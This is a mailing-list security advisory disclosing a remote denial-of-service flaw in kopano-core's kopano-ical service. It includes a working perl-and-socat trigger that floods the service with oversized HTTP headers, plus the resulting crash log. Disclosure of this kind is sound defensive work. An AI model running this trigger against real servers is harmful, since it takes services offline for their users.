Date: Fri, 19 Mar 2021 13:44:24 +0100 (CET)
From: Jan Engelhardt <jengelh@...i.de>
To: oss-security@...ts.openwall.com
Subject: kopano-core 11.0.1: Remote DoS by memory exhaustion

Initial publication, no CVE number yet (will request).

Affected versions

  * kopano-core 11.0.1   (current head of 11.x branch)
  * kopano-core 10.0.7   (head of 10.x branch)
  * kopano-core 9.1.0   (head of 9.x branch)
  * kopano-core 8.7.16
  * it is believed this affects all versions to date,
    including zarafa 7.2.6, the discontinued predecessor
    project to Kopano, sometimes still in use.

The "kopano-ical" program implements a network service/trivial HTTP server.
It imposes no length restrictions on HTTP headers, which can be exploited
to memory-exhaust the process and have it terminate.

Trigger

```
»
  perl -e 'print "GET / HTTP/1.0\nHost: \n";
           while(1) { print " " . "A" x 65000 . "\n"; }' |
  socat - tcp-connect:kopano-ical.example.com:8080
```

The exact port depends on configuration; 8000 is also typical choice.

```
» systemctl status kopano-ical
● kopano-ical.service - Kopano Groupware Core iCal/CalDAV Gateway
   Loaded: loaded (/usr/lib/systemd/system/kopano-ical.service; enabled; vendor preset: disabled)
   Active: failed (Result: signal) since Fri 2021-03-19 13:24:26 CET; 32s ago
     Docs: man:kopano-ical(8)
           man:kopano-ical.cfg(5)
  Process: 2126 ExecStart=/usr/sbin/kopano-ical -F (code=killed, signal=ABRT)
 Main PID: 2126 (code=killed, signal=ABRT)

kopano-ical[2126]: terminate called after throwing an instance of 'std::bad_alloc'
kopano-ical[2126]: ------------------------------------------------------------------------
kopano-ical[2126]: Fatal error detected. Please report all following information.
kopano-ical[2126]: kopano-ical 8.7.16.0
kopano-ical[2126]:   what():  std::bad_alloc
systemd[1]: kopano-ical.service: Main process exited, code=killed, status=6/ABRT
systemd[1]: kopano-ical.service: Unit entered failed state.
systemd[1]: kopano-ical.service: Failed with result 'signal'.
```

Mitigation

None known at this time.